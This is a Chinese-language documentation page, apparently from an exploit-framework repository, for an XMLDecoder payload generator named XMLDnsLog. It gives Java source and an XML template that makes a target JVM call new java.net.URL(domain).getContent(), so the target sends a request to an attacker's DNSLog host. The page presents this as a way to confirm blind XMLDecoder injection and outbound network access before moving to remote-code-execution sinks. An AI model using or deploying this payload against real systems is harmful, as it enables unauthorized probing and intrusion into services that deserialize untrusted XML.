Skip to content

Latest commit

 

History

History
65 lines (52 loc) · 3.05 KB

File metadata and controls

65 lines (52 loc) · 3.05 KB

简单的 Dnslog 请求探测 Payload(XMLDnsLog)

  • 类别:xml 别名:— 优先级:—
  • 作者:—
  • 依赖jdk(纯 JDK,无第三方依赖)

作用

生成一段 XMLDecoder XML,令目标在解析时 new java.net.URL(<domain>).getContent(),从而发起一次出站 DNS/HTTP 请求。用于无回显探测:确认目标是否真的解析并执行了 XMLDecoder 输入(漏洞存活性 / 出网能力判断)。

链接标签

  • 入口 tagsXMLDecoderPayloadEND
    • XMLDecoderPayload —— 承接 XMLDecoder Payload 入口。
    • END —— 自闭环终点,探测请求即最终效果。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

纯 sink,invoke 不调用 chain.doCreate

@Param(name="DNSLog域名", description="eg: x.dnslog.cn")
public static String domain;
public static String template;

private String getObject() {
    return String.format(template, domain);
}

@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject();
}

static {
    template = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<java>\n"
             + "    <new class=\"java.net.URL\">\n"
             + "        <string>%s</string>\n"
             + "        <void method=\"getContent\"/>\n"
             + "    </new>\n</java>";
}

模板语义:

  • <new class="java.net.URL"><string>%s</string> —— 以注入的 domain 作为 URL 构造参数 new URL(domain)
  • <void method="getContent"/> —— 对该 URL 调用 getContent(),触发实际网络连接(进而产生 DNS 解析)。

由于只做一次 URL 取内容,无命令执行、无字节码,副作用极小,是判断 XMLDecoder 注入点是否可达、目标是否出网的理想「哑弹」。domain 一般填带唯一子域的 DNSLog 地址(如 http://<rand>.x.dnslog.cn),据 DNS 解析记录判定命中。

参数(@Param)

字段 名称 说明 默认 可选值
domain DNSLog 域名 作为 new URL(...) 的参数,通常带唯一子域 自由文本,建议含协议前缀(如 http://x.dnslog.cn

java.net.URL 需可识别协议;纯裸域名可能构造失败,实践中填 http://<domain> 更稳妥。

适用版本与原理要点

  • 依赖 java.beans.XMLDecoder + java.net.URL,全 JDK 版本通用,无模块化限制。
  • 出站请求由目标 JVM 直接发起,可同时探测「注入点可达」与「目标出网」两件事。
  • 局限:仅证明代码执行到 getContent(),不代表能落地更强 sink;确认存活后再切换 XMLExec 等 RCE sink。

所属预设链

自由构件,未直接出现在预设链中(usedInChains 为空)。

关联